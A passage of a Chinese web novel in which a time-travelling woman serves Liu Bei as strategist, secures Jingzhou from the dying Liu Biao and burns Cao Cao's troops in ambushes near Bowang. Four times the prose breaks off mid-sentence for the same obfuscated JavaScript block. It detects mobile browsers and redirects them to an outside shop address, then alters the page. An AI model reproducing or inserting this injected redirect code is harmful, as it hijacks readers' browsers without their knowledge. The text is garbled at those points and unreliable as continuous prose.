论功行赏开庆功宴,热闹非凡,许多人上前敬酒,黄楚笑道:“酒力不胜,还请多担待。”以水代酒,受了众人的礼。 回到卧房时已经夜深,黄楚猜想孔明已经睡了,洗漱过后躺下,对着他小声碎碎念,也不求他回答:“我今天有点明白为什么你铁了心要追随刘备了。无论他有着怎样的私心,他这次肯信任我、拜我为军师、在众人面前为我撑场子,我心里感恩不尽。这场仗打完,我忽然意识到,可能我真的有能力做好指挥打仗这件事——当然了,目前我还离不了你的指点……若没有你认可,我心里一点底都没有,哪敢拿几千人的性命冒险做实验……万幸我们赢了。说是万幸,又没那么万幸,曹操手下那些士兵,也都是老百姓的孩子,都是爹疼娘爱的宝贝……往后我要学更多兵法,最好能不战而屈人之兵。起初我是想着,帮你实现你的志向,我顺便体验一下‘历史’。现在我是发自内心地想让这乱世结束……我是不是有点异想天开了?像你这么聪明的人都没能做到的事,我却在这里瞎想……” 连日来的练兵和精神紧绷令梁爽身心俱疲,很快进入梦乡。 黑暗中,孔明的右眼皮跳了一跳。 夏侯惇出征前曾放下狂言,声称要“生擒刘备,活捉诸葛,将黄夫人献与丞相”,现在大败而归不说,还是败给了黄夫人这个他瞧不起的女人,简直是丢脸丢到了家,还像刘备骂得那样,连带把曹操的脸也给丢尽了。 曹操一怒,亲率大军,再攻新野,誓要报仇雪耻。 9. 军师的位置,算是升级了? 建安十三年七月,曹操起兵,号称五十万之众,大举南下。曹操自领一队,又令曹仁、曹洪领一队,张辽、张郃领一队,夏侯渊、夏侯惇领一队,于禁、李典领一队,共五队,每队各引兵十万。又令许褚为折冲将军,引兵三千为先锋。命谋士荀彧等人留守许昌。 刘备来向黄军师求教如何击退曹兵,梁爽差点脱口而出“联吴抗曹”,但忍住了。她想要比‘历史’更好的解决方案。于是说道:“我日夜为主公大业筹划,始终觉得新野县地方太小,不可久居,还是从刘景升手中接下荆州为妙。若能有荆州在手,此地地势险要,物产丰饶,兵力充足,大概可以与曹操相抗衡。”刘备说不肯对刘表忘恩负义。 梁爽叹道:“姨父病重,命在旦夕,说句不吉利的话,若他一朝驾鹤西去,我那姨母和舅舅必接管荆州。若他二人将荆州拱手相让于曹操,主公忍心看姨父半生基业都白白送给敌人么?” 刘备道:“如今吾兄尚在,我不做此计较。” 梁爽叹了口气,没有强迫他,便道:“那容我再为主公想些别的主意。但无论什么主意,都只能撑一时,不能撑一世,还望主公为长远计。” 刘表的病,一日重过一日。他自知难以好转,派人到新野,请刘备去荆州。 梁爽暗想,刘表此次大概是预备托孤,而以她之前与刘表打交道时的观察来看,刘表大概不可能真心将荆州交与刘备,因此刘备必然还是会推辞。梁爽不会劝刘备在此时收下荆州,而硬夺肯定是夺不过,难道这次荆州这块嘴边的肥鸭肉又像历史上一样飞走么? 于是梁爽问刘表派来的使者:“姨父大人可曾遣人至江夏请大公子回来?” 那使者答道:“不曾。” 梁爽忽然意识到,史书上所说蔡夫人篡改刘表遗嘱,或许不是真的。若刘表真想让刘琦继任荆州之主,在召见刘备前怎会不先尽快把刘琦召回? 刘表是真的想让刘琮继承家业——从他为此子取名为“琮”也能看得出。 如此……荆州落到蔡夫人和蔡瑁手上,几乎是板上钉钉的事。 一旦这样,荆州后续大概又要被献给曹操……失去荆州,可以再收复,但按原本历史的走向发展下去,她姨母蔡夫人和舅舅蔡瑁却是要断送性命的…… 思及此处,梁爽令那使者先回去覆命,说刘玄德将军随后便到。随后屏退其余侍从,向刘备道:“我有一计,可退曹兵,可得荆州。” 刘备大喜,忙问:“愿闻其详,还请军师赐教。” 梁爽道:“联吴、联蔡、抗曹。” 刘备疑惑道:“联吴……我与东吴素无瓜葛,不知该怎么联?联蔡……军师也知道,我与蔡德珪(即蔡瑁)将军有些过节……” 梁爽道:“主公可曾听闻,琅琊诸葛三子,号称‘龙虎狗’。主公已得其‘龙’,而东吴得其‘虎’,便是我夫君的兄长诸葛瑾,现为孙权帐下的中司马。我愿以三寸不烂之舌,说动我娘家舅舅和姨母,再说动夫家大伯,与主公三方联手,共抗曹军。” 刘备顾虑重重道:“军师此计虽妙,但不知可行与否。曹军逼近,迫在眉睫,备实在放心不下——并非对军师放心不下,而是信不过东吴与蔡将军他们。且东吴与蔡氏诸将交战数年,双方积仇积怨颇深,一时恐怕难以联手对敌。” “虽有世仇,强敌当前,也可联手。”梁爽道:“不过主公所虑,确实十分在理。我们两手准备。今日主公去拜见舅父,还请携我与关、张二位将军带三千将士同行,让我在舅父处一试。否则荆州一旦落入曹操手中,主公恐怕难以再寻立足之地,非要投奔东吴不可了。” 刘备有雄心壮志,要做一方霸主,绝不想在东吴的屋檐下委屈,因此允她一试。 一行人快马加鞭赶到荆州,梁爽让关羽跟随入城,而张飞带兵驻扎在外。 刘表果然已病重垂危,原本就清癯消瘦的老头儿,瘦成细细一缕骨架般,卧在榻上。饶是梁爽对他并无感情,见了他这凄凉晚景,也不免为之揪心。 刘表见刘备进来,老泪纵横,颇费力地张开嘴,艰难出声道:“我将不久于人世,愿将荆州与不肖子孙尽数托付给贤弟。待我走后,贤弟可自领荆州。” 刘备泪下如雨,在他榻边拜倒,泣道:“仁兄待我恩重如山,我怎敢贪图荆州?必尽心竭力照顾贤侄。不知仁兄有意将荆州牧的位置交给哪位贤侄?” 刘表刚要说话,外面急报,说曹操大军将至,正逼近新野。 刘备连忙起身告辞,被梁爽急急上前一把扯住:“主公,舅父所托乃是大事,曹军不过逼近新野而已,在下尚能应付。在下早有妙计退敌,来荆州前已经安排妥当,请主公莫慌。” 刘备不放心,问是何妙计。 梁爽道:“听闻曹操以许褚为折冲将军,引兵三千为先锋。这三千人,若再在博望坡烧一次,想必能挫其气焰,让他们一时半刻不敢冒进,为主公争取多几日时间。” 刘备蹙眉道:“已经中计一次,还能中计第二次么?且博望坡上次起火时草木燃烧殆尽,如何再烧第二次?” 梁爽道:“我夫君孔明尚留在新野城中,主公信我,我绝不令新野失守。” 刘备与黄楚说话间,刘表因缺乏气力,只默默看着两人。待到这二人商议定了,刘表望着黄楚,幽幽叹道:“当年的黄毛小丫头,如今竟做得独当一面的军师了。博望坡一役,我听说了。你姨母,也听说了。那一仗,就算让你舅舅统兵去打,也打不了你那么漂亮。” “姨父谬赞了。”梁爽道:“不过,话说回来,我身为军师,与主公同心,必会好生照顾表弟和姨母。且表弟虽然只有十四岁,却是极聪明颖悟。有我们看护表弟,将来必不至于将荆襄两地拱手送给曹操。姨父放心。” 言语间,刘表听得出她已猜到他倾向于传位给刘琮,而且猜到了他对刘琮年龄阅历的顾虑。 刘表不避刘备,直言道:“我只怕你舅舅容不下玄德。” 刘备泪目道:“兄长此言,非骨肉至亲的兄长所不能言,实在教我心中……不知何以为报。” 梁爽道:“如果姨父担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486227|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心舅舅容不下玄德公,那就请姨父换个法子,让玄德公来容下舅舅。”意思是将辅佐刘琮的大权交给刘备而非蔡瑁。 若说信任,刘表当然信任自己的小舅子蔡瑁多过信任不过是同姓而已的刘备。但他同时深知,凭他那小舅子的本事和胆识,根本守不住荆州。 可若真将辅政大权交给刘备,刘备会不会有一天功高盖主,杀掉琮儿他们?刘备此人,绝非池中物……不过以刘备的为人,真到了那天,一定会体面地给琮儿留一条生路。不像蔡瑁,是能下狠手、不顾情面之人。 刘表看得出,黄楚现在在刘备处的地位举足轻重,若她想保蔡瑁,至少十年之内一定保得住。目前看来,黄楚提出的方案是对所有人最好的选项,也是最能保他一生基业不落入他人之手的选项。 刘表道:“我有心请玄德来挑荆州的大梁,但只怕众将一向与你舅舅更亲密,不服玄德管教。” 梁爽道:“玄德公才德兼备,远非舅舅可比。众将只要得了姨父明明白白的吩咐,肯暂时听命于玄德公,我有信心只要假以时日,他们必能对玄德公心服口服。” 刘表点头,示意唤人进来。梁爽唤刘备和刘表幕僚李珪入内,刘表吩咐李珪道:“召诸将来。遣人唤夫人和小公子来。” 蔡夫人携刘琮先到,进房见刘备在此,面上便有些不乐。 梁爽恭恭敬敬向姨母行礼问安,蔡夫人道:“你折腾的那些事,我听说了。” 蔡夫人话说得不算好听,梁爽微笑而已,并不驳嘴。 刘表闭目养神,静待蔡瑁以下诸将到齐。 蔡瑁入内,瞥见刘备,心下亦是十分不爽快,猜不准姐夫到底揣着什么心思,与蔡夫人对视一眼,蔡夫人给他一个眼神让他稳住。 人到齐后,刘表看向梁爽,梁爽会意,上前引刘琮从继母身后走至诸将面前,靠近刘备座位处站好。 刘表道:“你们大概都知道,我所剩日子不多了。今日特召我贤弟刘玄德将军来,欲托付荆州,玄德仁义,不肯接受,欲辅佐我儿刘琮。” 蔡瑁与蔡夫人顾不得惊喜,先是面面相觑,又难掩疑惑地将目光在刘表和刘备身上扫来扫去。 刘表注目刘备,刘备忙泣拜道:“愚弟感念兄长恩义,必肝脑涂地、不负所托。” 刘表一个眼神,梁爽忙上前将刘备搀起。 刘表又向刘琮道:“琮儿,来见过诸位将军。众将皆是随我数十年来出生入死的骨肉兄弟,你不可轻慢他们,需多多敬爱。”众人皆泪下,忙叩拜新主。 刘表继续道:“曹操五十万大军将至,表面上只是攻打新野,实则图谋吞并我荆州、襄阳二地。诸将可有良策?” 因与曹操兵力相差悬殊,众人你看看我,我看看你,皆默不作声。 刘表道:“外甥女黄氏,现为玄德麾下军师。先前在博望坡,火烧十万曹军,大破夏侯惇,想必诸位皆已耳闻。今日我便礼聘黄氏兼任我处军师,辅佐琮儿。这次破曹之计,便由黄军师做主。” 在场所有人皆是大惊。 10. 再烧博望坡 刘表继续向黄楚道:“黄氏,我今日将荆襄二地、妻小亲眷、麾下诸将、城中百姓,尽数托付于你,你能承担否。” 蔡夫人与蔡瑁皆欲出声拦阻,诸将因黄楚是个年轻妇人,心中也各有疑虑。梁爽抢先上前一步叩拜刘表,举手指天道:“甥女黄楚,受姨父恩遇,在此以天地宗庙起誓,身为军师,将不遗余力辅佐新主,护卫荆襄,施恩百姓,赡养姨舅,善待将士。如违此誓,神人共诛!”说罢起身,拔下头上银簪,刺破小指,将血滴入一只茶杯中,双手奉至蔡夫人面前。 刘表道:“她是你血脉相连的外甥女,比起旁人,我将你托付给她,最放心。” 当着这么多人,自然是一切由刘表做主。蔡夫人不敢厮闹,未作争辩,默然取下一支镶宝金凤鬓钗,刺破手指,将血滴入。 梁爽走到蔡瑁面前。蔡瑁看看姐夫,又看看姐姐,见刘表正注视于他,才勉强将手指咬破,滴血进去。 梁爽当着众人的面,低头饮一口混血的茶水,又依次奉与蔡夫人和蔡瑁,二人依次饮下。如此,便算是歃血为盟。 刘表道:“今日之事已决,我断不会再轻易变卦。即日起,黄氏即为军师,有我令牌及宝剑在手,诸将需听令行事,违者依军法斩。曹操大军压境,已逼近新野,如何击退曹兵,便有劳军师筹谋了。”诸将虽然各怀心思,但口头皆是诺诺答应。 梁爽便道:“据探子所报,我预计曹军前锋许褚所率三千人今晚便会抵达博望。我来荆州前已安排玄德公麾下赵云将军率刘封、关平二位少将军率一千兵士迎敌,诚邀诸位将军前来新野观战。” 蔡瑁冷笑道:“阿楚,切莫因为打赢了一场仗,便骄傲轻敌,舅舅劝你一句,这可是兵家大忌。” 蔡瑁手下副将邓义也附和道:“小外甥!你年轻,许多事不知道。你可知那许褚作战勇猛,乃曹操帐下第一虎将,他手下操练出的剑士个个勇猛善战,以一敌百,号称‘宿卫虎士’。他率‘宿卫虎士’跟随曹操四处征讨,杀敌无数,从建安二年到建安三年,短短一年间,斩首万计!你用区区一千兵士迎敌,恐怕白白葬送了这些人的性命,还连累你主公,丢了新野无处藏身,只能来我荆州讨口饭吃!”另一名副将刘先也在旁大笑鼓噪。 梁爽看一眼刘备,见刘备听了他们这般调侃取笑之后面如止水并无恼容,于是自己也不恼,仍旧笑得和和气气,擎出刘表赐她的宝剑,笑道:“本军师第一道军令,便是请邓将军、刘将军来新野观战。放心,是在城楼上,不是在战场上,若到时我军败了,二位将军拍马逃命便是——我不会强迫二位将军用嘴皮子退敌的。” 有刘表在,邓、刘二人不敢拒绝黄楚的军令,只得领命。 梁爽笑道:“其余诸位将军,感兴趣的大可一同前往新野观战,只是——谁都不许带兵。荆州兵士我要留在荆州操练,留待日后剿灭曹军主力。” 因刘表是重病之人,体力不支,不能强撑太久,梁爽道:“击退曹兵,我已有良策,为保证天机不外泄,等曹军再近些时,再说与诸位知晓。”于是众人散去。 梁爽问刘表,可否让她留在内室与蔡夫人一同侍疾,刘表点头应允。 刘备则由关羽护送至城外驿馆休息。 临别之际,梁爽对刘备道:“主公不必担心,大可高枕而眠,明晨必有博望坡捷报传来。有关将军、张将军在此,料想荆州众人今夜不敢来行刺。” 关羽也在旁道:“哥哥放心,我与哥哥同榻而眠,今夜必警醒些,为哥哥守夜。” 刘备道:“不必。我信军师。” 刘备一夜没睡。中间问了关羽几次时辰,待到过了寅时,听见外面一阵骚动,忙抓起枕边宝剑翻身下榻。关羽忙起身道:“哥哥莫慌,弟先去察看。” 关羽扬声问外面何人,听见外面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486228|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫兵大呼:“报将军,博望坡,大捷!” 刘备一颗悬着的心终于落回了肚子里,他内心欣喜无限,面上从容镇定道:“区区三千人,哪里算得上‘大捷’?先前夏侯惇十万大军都打赢了,这次与前次相比,不过‘小胜’罢了,不可骄傲浮躁。” 却未料那卫兵一愣,说道:“主公,什么三千人?这次咱们明明打赢了十万三千人呀?” “什么?!”刘备和关羽异口同声。 邓义、刘先及几位同行的将领连夜赶回荆州,在蔡瑁与其余诸将面前,皆是沉默。 蔡瑁问:“十万三千人?先前探子来报,不是说只有前锋许褚的三千人么?” 几人都不愿说出实话来触霉头,你推我我推你推出级别最高的邓义。邓义瞄着蔡瑁的眼色,小心翼翼说道:“许褚的三千铁甲军走在前面开路不假,实则后面跟着曹仁、曹洪的十万大军。属下们抵达新野县城时,孙乾接待末将们,据他说,军师——啊不,黄氏,黄氏怕众人怯战、怕刘玄德在荆州太过担心,所以事先安排谎报军情,只说三千。” 蔡瑁道:“黄楚能安排刘备军中的探子,那我们自己的探子是怎么回事?怎么也报了三千的数?” 邓义不肯开口,只得刘先来说,刘先低着头,小声嗫嚅道:“末将们来前查过了,咱们的探子倒是没事,但黄楚不知用什么手段买通了后续的传信兵,所以探子交上来的情报到了传信兵手里时,便已经将十万大军一节删去,只剩下最后那句’前锋许褚引三千人’……” 蔡瑁大怒,这就要将那名传信兵以军法处置,刘先连忙劝阻:“那人早已逃走,恐怕难追,再去追捕,白白浪费时间人力。” “唉!”蔡瑁恼恨地一拍大腿:“说罢!曹仁曹洪的十万大军,还有许褚的三千人,是怎么没的?” 邓义和刘先,你一言我一语,向蔡瑁补齐了他们永生难忘的景象。 11. 小小宿卫虎士,拿捏 黄楚预先已有安排,邓义和几名荆州将领由孙乾引着前往豫山,刘先与另外几名荆州将领则由简雍引着,走上博望城墙,于城楼中落座,远眺博望坡。 邓义登上豫山的一座观景亭,俯瞰山下,正看见许褚的三千铁甲军,不敢多看。极目远眺,又看见十万多人的大军自北方而来如黑色洪水般浩浩荡荡杀奔新野,当即腿肚子便有些软了。孙乾适时地将一张矮几往他身后一送,将他接住,邓义便略有些尴尬地坐下。孙乾但笑不语,也不戳穿他。 由于博望坡刚被烧成一片寸草不生的焦土,无论是前面开路的许褚还是后面的曹仁和曹洪,都不认为黄楚短时间内会再在此地用一次火攻,因此大军向前开进,并不迟疑。 这时听见一声炮响,忽然从豫山里窜出两队人马,分别打着“关”“刘”二字的大旗,兵士们一字排开,簇拥着两名小将。 许褚定睛一看,是生面孔,便问来者何人。 关平和刘封两个小将,五官尚显稚嫩,身量也未全长开,年纪虽小,嘴巴却毒,也不知道是谁教的。 关平道:“我是你关平爷爷!”刘封道:“我是你刘封爷爷!” 关平又喊道:“你是谁?是我爹的哪个手下败将?” 许褚大怒道:“小兔崽子!我是你许褚爷爷!” 刘封大笑道:“我当是谁,原来是曹阿瞒帐下的?我关二叔不稀罕侍奉的曹操,你们奉为主公替他卖命!你那么辛苦替他卖命,他可曾将赤兔马赏给你?你若过他五关斩他六将,他可会像对待关二叔那样既往不咎?你们一个个卖命卖到死,曹操日思夜想的也还是我关二叔!” 许褚怒不可遏,既然骂不过,便拍马来战。 刘封和关平知道许褚武艺高强,不敢和他硬拼,打马就走,回头笑他道:“知道今儿个为何是我二人来迎你么?我们的爹都说了,你有勇无谋,吃饭只能坐小孩那桌,打仗也只能跟儿子辈的人打!可我们看了你,觉得你还是跟孙子辈的人打吧!”说完二人就率兵退进山中。 邓义等荆州将领生怕刘封和关平将许褚引来,吓得半死,连忙四处张望,想寻一条生路暗中逃命,被孙乾笑着一手一个轻轻按住了:“诸位将军莫怕,且看我等如何击退许褚。” 许褚狂怒,带兵入山,孙乾一抬手,只见山中旗帜挥舞,霎那间山上擂木炮石滚滚而落,将曹军打退,击伤压死无数。 许褚倒不傻,见对方似乎早有准备,便下令停止进攻,派人骑马飞报曹仁,称山中或有埋伏。 曹仁判断豫山之中藏不下太多兵马,传令说“此是疑兵,必无埋伏。即便有埋伏,人数亦有限。只是若留他们在此处,也是后患。将军可先行带兵灭之,待我等驱兵赶到,会师前进。” 且不说许褚本就强压着怒火,刘封和关平见许褚久久在原地不动,哪能轻易放他走?一个两个策马上前,笑道:“许猪!来战,就让你和我等平辈,若跑,以后出去见人,你可就是我们爹爹的孙子辈了!” 许褚得了曹仁的许可,正想去斩了这两个小兔崽子,这下来了劲,拍马便要来砍死他俩。 刘封和关平都是机灵鬼儿,见势不妙,狠抽马鞭,拔腿就逃。 他俩逃,许褚追,后面兵士也连忙跟进山里。 山路越来越窄、越来越难走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486229|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许褚以为他俩插翅难飞,谁料山上突然垂下些藤索,那两个嘴毒的小东西连同他们带的那几个兵,胯/下马匹不要了,以迅雷不及掩耳之势薅住藤索噌噌噌爬上了山崖。 曹军众人正仰头看,听得一声“倒油”!山上一盆盆桐油劈头盖脸哗哗倒下来。 许褚等人被浇得从头到脚黏黏糊糊,还没等反应过来,又听得一声“点火”!带火的羽箭一支支飞射出来,将油引燃,登时火起,许多曹军士兵被烧得落马,在地上痛苦地打滚。又有马匹受惊,掀翻马背上的一批兵士,践踏于马蹄之下。火势很快蔓延到周遭树木——博望坡前番被烧成焦土,但豫山却没被烧,黄楚是设计专门把他们引到山上来烧。 山道狭窄,前后都被大火截断,许褚连同座下马匹都被泼了油,手上打滑握不住兵器,无力招架火箭,不幸连人带马被引燃,最终被火舌吞噬。士兵们没了主将,只能各自胡乱逃生,死于同伴间相互踩踏者无数。山谷中惨叫哀嚎此起彼伏。 邓义等人站在观景亭上,眼睁睁看着黄楚就这样不费一兵一卒灭掉了许褚和曹军单兵战力最强的“宿卫虎士”。 等曹仁接到死里逃生的曹军士兵带回的消息时,一时难以置信。他悔恨不已,当即跌下马来,以剑杵地,痛心疾首道:“出师不利……若主公听闻许褚惨死,必怪罪于我!大耳贼,黄阿丑!折我主公麾下大将……吾欲生食尔等之肉!” 豫山的火仍在蔓烧。邓义在观景亭一时看得呆了,连逃命都快要忘记,孙乾连忙推醒他,说道:“请将军随我下山,军师说了,今日准备了三场焰火招待荆州来的诸位将军,咱们接下来去看第二场。” 12. 姐的胜仗不是免费给你们观看的 孙乾引邓义等人至博望西北的安林。 故技重施。刘封和关平各带一队兵士阵前挑衅。 邓义忍不住问道:“许褚刚刚死于伏兵,曹仁必然已经知道你们有埋伏,还会中计么?” 孙乾一笑:“若换成是将军您在曹仁的位置上,刚刚得知前锋惨败,将军是急于替他报仇雪耻呢,还是冷静下来徐徐图之呢?” 邓义道:“曹仁可不像许褚那般鲁莽,他是智勇双全的名将。” 孙乾笑道:“正因他有智谋,所以才会上钩。将军且看便是。” 听得刘封嘲讽曹仁道:“曹子孝!上回来犯,把樊城丢了;这次来犯,把许褚害了;若再往前一步,不怕丢掉自己脑袋、葬送十万大军么!” 关平在旁边起哄:“这樊城真是好地方,住着可真舒坦,咱们主公当年能攻下樊城,还多亏曹子孝这个蠢老头子呢!” 不等曹仁上前来战,二人便打马而逃,率两队兵士逃入安林。 曹仁旁边曹洪耐不住性子,拍马便要追,被曹仁拦住:“等等!” 曹洪回过味儿来:“哥,你是怕他有埋伏?” 曹仁手勒缰绳,原地控马,望向林中,说道:“是埋伏,还是疑兵,等等看就知道了。” 等了不多时,便见刘封、关平二人旗帜人马奔出安林,再次挑衅。 曹洪道:“哥,他们生怕咱们不追,必是里面有埋伏。” 曹仁冷笑道:“我还怕他们不埋伏呢。”说罢,传令士兵,将十万人分为三队:他亲自率领一队向西,曹纯领一队向北,这两队皆是绕远后进入安林;最后一队留曹洪率领,原地不动,只等刘封等人再出来挑衅时佯装中计追击进去。 这是要仗着兵力的绝对优势,做一个更大的包围圈,将林中伏兵来一个瓮中捉鳖。 如曹仁所料,刘封、关平果然又出来挑衅。 刘封道:“哟,是不是因为曹子孝被骂得没脸见人,所以换了曹子廉?听军师说,建安二年,你这老头儿奉曹贼之名率兵征讨张绣和刘景升将军。你被刘景升将军打得很惨呐?” 曹洪有战绩在身,倒不恼火,笑道:“哈哈哈哈,小屁孩儿,你知道得还是太少了。你那丑妇军师难道没告诉你,建安二年,我就是在这博望坡,打得刘景升满地找牙!正是因此战有功,丞相将我迁为厉锋将军,封国明亭侯。” 刘封笑嘻嘻问:“既然将军如此骁勇善战,那为何博望现在不是曹贼的地盘呢?” 曹洪估摸着大军此时已有能力形成合围,笑道:“今日便教它变成丞相的地盘!小贼,拿狗命来!”一声令下,全军出击。 刘封和关平仍是拔腿就撤,一头扎进了森林中。 虽是秋季,树叶落尽,但山林枝桠仍是茂密,不熟悉地形者举步维艰。 关、刘二人及所率兵士转瞬便在密林间没了踪影。 曹军人数虽多,但面对密林,也无可奈何,只能放慢脚步,一面劈砍挡路的树枝,一面继续推进。 久久搜索不到敌军踪迹,越深入森林,行路越难,大军仿佛被卡在了树林里……曹洪开始觉得不太对劲,连忙传令让后面兵士和曹仁部、曹纯部停止前进,队伍调转方向准备撤出。 但林中传令速度不及平原,军令尚未来得及抵达曹纯与曹仁处,听得远处一阵喊杀声逼近,乃是来自身后南边的博望坡方向。 博望坡处两队兵马由糜竺、糜芳二兄弟率领,士兵个个骑马,手持弩机,望安林中便射带火羽箭。 火箭雨自高空落下,引燃树木与地上枯枝落叶,瞬间火起。 刚刚意外经历了许褚之败的曹军皆如惊弓之鸟,一见起火,便阵脚自乱。 曹洪大惊,连忙急催大军外撤,这时树林深处冲出刘封、关平所率兵士,趁乱大肆挥刀砍杀。 两名小将先前出去挑衅时只带了稀稀落落十余人,此时冲出来的却有七八百人,杀了曹洪一个措手不及。 曹军由上至下无心恋战,只想逃命,慌不择路,几个心腹侍卫连忙护送着曹洪往外杀出一条血路。 主将曹仁那边发现火起也是慌忙后撤,却不想正迎面与糜竺、糜芳兄弟撞个正着。他虽武艺远在二兄弟之上,此刻却只能勉强招架,狼狈逃窜。 所幸刘封、关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486230|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平、糜竺、糜芳四人见好就收,穷寇未追,最终曹仁、曹洪、曹纯三人侥幸逃脱。但那些普通兵士却没那么幸运,死伤极为惨重。 自安林撤出后,曹仁清点兵将,损伤过万,只剩八万余人。押后的粮草辎重更是在安林外被糜芳趁曹军大乱带人一把火烧了个干净。 此时天已经黑了,身后安林与豫山的大火连成一线,曹军已无向东、西、北撤退的可能,只能向南。 只有攻下博望或新野,大军今夜才有个安稳的落脚处。 但已经被黄楚打怕了的曹仁不敢贸然进攻城池——此刻曹军的低迷士气也不允许他这么做——于是决定在博望坡安营扎寨,明日再战。 点了一千兵士巡逻守夜,又点了五千兵士彻夜救火,防止火势继续蔓延、阻断后续曹操所率部队。 邓义等人随孙乾猫在林中,一直惴惴不安,看见火起,吓得肝胆欲裂,生怕被烧死在林中,连忙问孙乾下一步该怎么办。他们都满心以为孙乾会像在豫山上那样给他们指一条黄楚事先安排好的逃生路,却不料被孙乾一人往手里塞了一把刀:“诸位将军,军师说了,要想活命,砍杀出去。军师还说了,凭诸位将军的武艺,这仗很好打的,将军们别怕。” 原来是被黄楚骗来当了免费的力工…… 这阴险狡诈的毒妇…… 从荆州前来观战的众人为了活命,只得参与作战,随刘封等人卖力向外冲。 虽然荆州诸将内心早已咬牙切齿骂完了黄楚的八辈祖宗,但靠黄楚一条妙计,他们得以在冲出安林的过程中大破曹军,打了酣畅淋漓的一仗,确实感觉爽快。而且军功到手,战后这论功行赏也是实打实的。谁会跟功名利禄过不去呢? 打完这一仗,邓义等人对黄楚服没服气,无从得知。但至少他们都确认了一点,那就是:跟着黄楚这妖妇,有肉吃。 于博望城脚下会师,不等孙乾说,邓义便迫不及待问道:“敢问先生,军师的第三场焰火,安排在了何处?” 孙乾笑道:“将军莫急,军师说了,要看这第三场焰火,她需向老天——或者向诸位将军——借一场南风。” 13. 借南风 “南风?”邓义等人满是疑问。秋天南风不常有,且刮不刮风、刮哪个方向的风,都是老天说了算,怎么“借”南风?向谁借? 邓义抬头看看天,漆黑的夜空飘着些浮云,那浮云一动也不动。 邓义的目光落在了博望城的城墙上,堞垛边的火把光映照着,他看见了刘先和另外几位荆州同袍。刘先也看见了他。 城门打开,从城中推出九辆战车,每辆战车上载着一架木质大风车,约有一丈高,风车扇叶是牛皮做的。九台大风车按“人字形”排开,转轮上都系了长长的牛皮绳,盘了不知多少圈。绳子另一端拴着马匹。战车上还堆着几麻袋臭烘烘的东西,不知是什么。 孙乾点了几队骑兵,七百二十人,分成九队。每个骑兵身上都有火石和绑着浸油丝绵的箭。 大约忙了半个时辰,孙乾装模作样也抬头看了看天,说道:“时机已到,看来今夜是没有南风了。”说罢看向邓义。 邓义哭笑不得:“还请孙先生明示,这南风要怎么借?某就算有心相借,也实在不知该怎么做。” 孙乾捋一捋嘴角两撇小胡子,笑道:“邓将军有心就好。有将军这句话,我就放心了。” 看见孙乾笑,邓义心底一阵发毛:“先生的意思,该不会是,想让我骑马……” 孙乾笑着点点头:“正是,还请将军上马,拉动风车扇叶旋转。” 邓义有些光火:“我是刘荆州帐下有名有姓的将军!给你脸了,你敢把我当无名小卒使唤!告诉那妖妇,这狗屁南风,本将军不借!” 孙乾笑道:“军师说了,这一场焰火,歼敌必定过万。只要将军卖力扇风,就有十分之一的战功记在将军头上。当然了,将军是有名有姓的将军,大概不在乎这一点子军功,我这就派人上城墙,请刘先将军他们来——” 邓义连忙把他拦住了。如果骑骑马就有上千的军功到账,那可真是便宜军功。有便宜不占王八蛋。这便宜他得占,不占不行。 邓义黑着脸,翻身上马。 孙乾安排道:“将军至阵前,将风车卸下战车来,坐南向北放定,不必阵前废话,直接吩咐人撒着包袱里的粉末,同时骑马回博望。余下的事,兵士们自会料理。等看见博望坡火起,将军切莫立刻掉头追杀,若实在想多立功,等听见动静小些的时候,再回头。” “动静?什么动静?”邓义问。 孙乾笑道:“将军不必多问,到时自然知晓。在下便在博望城,静候将军佳音。” 邓义刚刚被黄楚坑过,有些将信将疑,但料想最差的结果也无非是无功而返,绝不至于伤及性命,于是带兵押送风车前往。 邓义趁着夜色带兵靠近博望坡。曹军今日先是疲于行军赶路,又是疲于奔命,身心俱疲,士气低落,巡防兵士多有懈怠。 等到曹军巡逻兵从夜幕中辨认出有九架大风车的轮廓逼近时,距离已经只剩不足两百步远。 